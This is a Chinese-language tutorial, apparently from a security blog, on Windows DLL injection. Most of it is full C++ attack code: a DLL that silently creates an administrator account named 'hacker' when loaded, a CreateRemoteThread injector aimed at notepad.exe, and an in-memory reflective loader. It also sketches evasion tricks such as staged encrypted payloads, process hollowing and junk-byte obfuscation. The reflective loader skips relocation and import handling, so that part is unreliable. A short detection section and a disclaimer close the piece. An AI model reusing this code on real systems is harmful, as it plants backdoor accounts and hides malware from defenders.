一、DLL注入技术基础
1.1 普通DLL注入原理
普通DLL注入通过操作目标进程内存空间,强制加载外部DLL文件。核心流程如下:
-
获取目标进程句柄:
OpenProcess
-
分配内存写入DLL路径:
VirtualAllocEx
+WriteProcessMemory
-
创建远程线程执行加载:
CreateRemoteThread
调用LoadLibrary
-
清理资源:释放内存并关闭句柄
技术局限:
-
依赖
LoadLibrary
等敏感API -
需要磁盘DLL文件落地
-
容易被行为分析检测
二、普通DLL注入实战:添加系统用户
2.1 恶意DLL代码实现
#include <Windows.h>
#include <Lm.h>
#include <iostream>
#pragma comment(lib,"netapi32")
#include <stdio.h>void ExecutePayload() {
// 添加用户
USER_INFO_1 ui;
ui.usri1_name = L"hacker";
ui.usri1_password = L"P@ssw0rd123!";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_flags = UF_SCRIPT;DWORD dwError;
NET_API_STATUS nStatus = NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError);if (nStatus == NERR_Success) {
// 添加到管理员组
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = L"hacker";
nStatus = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
if (nStatus == NERR_Success) {
std::wcout << L"用户添加并已加入管理员组成功!" << std::endl;
} else {
DWORD dwErr = GetLastError();
std::wcout << L"添加到管理员组失败, 错误代码: " << dwErr << std::endl;
}
} else {
DWORD dwErr = GetLastError();
std::wcout << L"添加用户失败, 错误代码: " << dwErr << std::endl;
}
}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// 执行payload
ExecutePayload();
}
return TRUE;
}
代码解析:
-
NetUserAdd
:Windows API函数,用于创建新用户 -
NetLocalGroupAddMembers
:将用户添加到指定本地组 -
DllMain
入口点:在DLL加载时触发恶意代码
2.2 注入器实现
这里要注意的一个问题,某些目标进程(如浏览器)可能具有更严格的沙箱机制或安全限制,阻止外部进程进行 DLL 注入或操作系统级别的更改。在这种情况下,即便你成功注入 DLL,它也可能无法执行特定操作,所以选的是notepad.exe进行注入
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>DWORD FindTargetProcess(LPCWSTR procName) {
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (Process32First(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, procName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}bool InjectDLL(DWORD pid, LPCWSTR dllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) return false;size_t pathSize = (wcslen(dllPath) + 1) * sizeof(WCHAR);
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE);
if (!remoteMem) {
CloseHandle(hProcess);
return false;
}if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, NULL)) {
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
}LPVOID loadLibAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)loadLibAddr, remoteMem, 0, NULL);if (!hThread) {
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
}WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return true;
}int main() {
DWORD pid = FindTargetProcess(L"notepad.exe");
if (pid == 0) {
std::cerr << "目标进程未找到" << std::endl;
return 1;
}if (InjectDLL(pid, L"C:\\Users\\user\\Desktop\\test\\adduser.dll")) {
std::cout << "注入成功!" << std::endl;
}
else {
std::cerr << "注入失败! 错误代码: " << GetLastError() << std::endl;
}return 0;
}
运行效果:
-
注入notepad.exe进程
-
创建用户
hacker
并设置密码 -
将用户添加到
Administrators
组 -
验证命令:
net user hacker
三、反射DLL注入技术
3.1 反射DLL注入原理
-
DLL 加载到内存中:
- 反射 DLL 注入会将 DLL 文件直接加载到内存中(通过读取 DLL 文件的字节流),并将其内容复制到进程的地址空间。
-
没有文件写入磁盘:
- 在反射 DLL 注入的过程中,DLL 的字节数据只在内存中存在,不会写入磁盘。所以,DLL 文件不会在目标系统的文件系统中留下任何痕迹。
-
内存中执行:
- DLL 的执行是通过在内存中手动触发 DLL 的入口点(如
DllMain
)来完成的,不会通过操作系统的LoadLibrary
API,因此不需要将 DLL 文件“落地”到硬盘。
- DLL 的执行是通过在内存中手动触发 DLL 的入口点(如
3.2对比传统的 DLL 注入
-
传统 DLL 注入:通常会使用
CreateRemoteThread
和VirtualAllocEx
等方法将 DLL 文件复制到目标进程的内存中,并执行它。这种方法可能会涉及将 DLL 文件保存到目标进程的虚拟内存中或直接调用系统的LoadLibrary
函数。如果是基于文件的 DLL 注入,那么通常需要将 DLL 文件写入磁盘,这就可能留下文件痕迹。 -
反射 DLL 注入:通过手动解析 PE 文件格式并将 DLL 加载到内存中,避免了将 DLL 文件写入硬盘。此方法只在内存中存在 DLL,因此不会有文件被保存到硬盘上。
3.3 反射 DLL 注入的优势
- 隐蔽性强:由于 DLL 文件不需要写入磁盘,反射 DLL 注入技术比传统的 DLL 注入方式更加隐蔽,难以通过文件系统的扫描来发现。
- 绕过文件系统监控:一些安全软件可能会检测 DLL 文件的创建、修改或删除,而反射 DLL 注入完全避免了这些操作,减少了被检测的风险。
3.4 反射 DLL 注入的限制:
尽管反射 DLL 注入在某些情况下具有较强的隐蔽性,但它也有一些潜在的挑战:
- 内存消耗:将 DLL 文件加载到内存中会占用进程的内存空间。
- 复杂性:手动解析 PE 文件并执行入口函数的过程比传统的 API 调用要复杂,需要更多的低级编程技巧。
- 安全性:反射 DLL 注入通常是绕过标准加载机制的技术,如果用于恶意目的,可能会引起法律和道德问题。
示例代码
#include <Windows.h>
#include <iostream>
#include <vector>
#include <string>// 这是一个示例字节数组,代表你的 DLL 文件的内容。
// 在实际应用中,这个字节数组应该包含 DLL 文件的实际字节流。
// 可以通过工具(比如 xxd 或 Python)将 DLL 转换为字节数组。
const unsigned char reflectiveDll[] = {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
// 这里省略了大量字节,实际上你会有一个完整的 DLL 文件字节流
0x00, 0x00 // DLL 结束标志(仅为示例)
};// 手动解析 PE 文件并获取函数地址
void* GetProcAddressManual(HMODULE hModule, const char* functionName) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + ntHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions);
DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames);
WORD* addressOfOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals);for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
const char* funcName = (const char*)((BYTE*)hModule + addressOfNames[i]);
if (strcmp(funcName, functionName) == 0) {
WORD ordinal = addressOfOrdinals[i];
DWORD functionRVA = addressOfFunctions[ordinal];
return (void*)((BYTE*)hModule + functionRVA);
}
}
return nullptr;
}// 加载 DLL 到内存
LPVOID LoadDllInMemory(const unsigned char* dllData, size_t dllSize) {
// 分配内存空间
LPVOID pDllBase = VirtualAlloc(NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pDllBase) {
std::cerr << "无法分配内存" << std::endl;
return nullptr;
}// 将 DLL 数据写入到内存
memcpy(pDllBase, dllData, dllSize);// 获取该 DLL 的入口地址
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)pDllBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pDllBase + dosHeader->e_lfanew);// 获取 DLL 的入口点地址
typedef BOOL (APIENTRY* DllMain_t)(HMODULE, DWORD, LPVOID);
DllMain_t DllMainFunc = (DllMain_t)((BYTE*)pDllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);// 执行 DLL 的入口
DllMainFunc((HMODULE)pDllBase, DLL_PROCESS_ATTACH, NULL);return pDllBase;
}int main() {
// 获取 DLL 数据的大小
size_t dllSize = sizeof(reflectiveDll);// 加载 DLL 到内存
LPVOID dllBase = LoadDllInMemory(reflectiveDll, dllSize);
if (!dllBase) {
std::cerr << "加载 DLL 到内存失败" << std::endl;
return -1;
}std::cout << "反射 DLL 成功加载并执行!" << std::endl;
return 0;
}
代码解析:
-
嵌入 DLL 字节数组:
- 在代码中,我们将 DLL 文件的字节内容(如
reflective.dll
)直接嵌入到代码中,成为一个unsigned char
数组(reflectiveDll
)。在实际应用中,你可以使用工具(例如xxd
、Python
或其他)将 DLL 文件转换成一个字节数组,并将其嵌入到程序中。
- 在代码中,我们将 DLL 文件的字节内容(如
-
内存加载 DLL:
- 使用
VirtualAlloc
分配内存空间,接着将嵌入的 DLL 字节流复制到分配的内存空间。
- 使用
-
执行 DLL 的入口函数:
- 从内存中手动解析 PE 文件的头部信息,并获取 DLL 的入口函数
DllMain
。 - 调用
DllMain
进行初始化,以便执行 DLL 的代码。
- 从内存中手动解析 PE 文件的头部信息,并获取 DLL 的入口函数
-
避免文件落地:
- 在这种实现中,没有涉及任何磁盘操作。整个 DLL 加载和执行过程都在内存中完成,因此没有任何 DLL 文件会被写入磁盘。
如何获取 DLL 的字节数组:
使用 Python:
with open('reflective.dll', 'rb') as f:
bytes_data = f.read()
print("const unsigned char reflectiveDll[] = {")
print(", ".join(f"0x{b:02X}" for b in bytes_data))
print("};")
这会将 DLL 文件内容以 C 数组的形式输出
四、技术对比分析
特性 | 普通DLL注入 | 反射DLL注入 |
---|---|---|
文件落地 | 需要磁盘DLL文件 | 完全内存加载,无文件痕迹 |
API依赖 | 依赖LoadLibrary 等敏感API |
无标准API调用,自主加载 |
检测难度 | 易被静态扫描和行为分析检测 | 对抗内存扫描困难 |
实现复杂度 | 简单(约50行核心代码) | 复杂(需处理PE格式和重定位) |
适用场景 | 常规渗透测试 | APT攻击、持久化后门 |
内存特征 | 存在标准DLL映射特征 | 内存结构异常但无特征字符串 |
五、防御与检测方案
5.1 普通DLL注入检测
-
API监控:钩取
CreateRemoteThread
和LoadLibrary
-
进程内存扫描:查找可疑DLL路径字符串
-
注册表监控:检查
AppInit_DLLs
等键值
5.2 反射DLL注入检测
-
内存异常检测:
-
查找无对应模块的可执行内存区域
-
检测PE头特征但无文件映射的内存页
-
-
行为分析:
-
监控非常规内存分配模式(大块RWX内存)
-
分析线程启动地址是否在已知模块外
-
-
硬件辅助:
-
使用Intel CET监控控制流完整性
-
基于VT-x的虚拟化监控
-
六、技术演进方向
-
模块化反射加载:
// 分阶段加载示例 void StageLoader() { LoadEncryptedPayload(); // 解密核心代码 FixImports(); // 动态解析依赖 Execute(); // 触发最终逻辑
-
结合进程挖空:
-
注入合法进程(如
svchost.exe
)并替换其内存内容 -
利用
.NET CLR
加载机制实现无文件注入
-
-
对抗内存扫描:
; 代码混淆示例 jmp real_start db 0xE8, 0x03, 0x00, 0x00, 0x00 ; 垃圾字节 real_start: mov eax, [esp+4] and eax, 0xFFFFF000
七、法律与伦理声明
-
本文所述技术仅限用于授权安全测试和防御技术研究
-
未经许可对他人系统实施注入攻击属于违法行为
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)